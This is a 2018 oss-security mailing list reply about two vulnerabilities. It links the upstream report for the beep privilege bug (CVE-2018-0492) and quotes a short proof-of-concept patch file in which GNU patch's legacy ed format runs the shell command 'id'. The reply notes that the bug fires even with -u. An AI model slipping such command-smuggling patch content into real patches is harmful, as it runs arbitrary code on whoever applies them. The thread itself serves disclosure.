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Message-ID: <20180406095140.qhrrbwmwrir4nxhb@jwilk.net>
Date: Fri, 6 Apr 2018 11:51:40 +0200
From: Jakub Wilk <jwilk@...lk.net>
To: oss-security@...ts.openwall.com
Subject: Re: Privsec vuln in beep / Code execution in GNU patch
* Hanno Böck <hanno@...eck.de>, 2018-04-06, 08:52:
>There was a joke webpage about a vulnerability in beep a few days ago:
>http://holeybeep.ninja/
>There's also a corresponding Debian Advisory:
>https://lists.debian.org/debian-security-announce/2018/msg00089.html
>Neither have any technical details. CVE is CVE-2018-0492.
>
>If anyone knows the background of this please share it.
Upstream bug report:
https://github.com/johnath/beep/issues/11
>GNU patch supports a legacy "ed" format for patches and that allows
>executing external commands.
[...]
>--- a 2018-13-37 13:37:37.000000000 +0100
>+++ b 2018-13-37 13:38:38.000000000 +0100
>1337a
>1,112d
>!id>~/pwn.lol
This bug triggers even with -u (which is supposed to disable patch type
detection). :-/
--
Jakub Wilk
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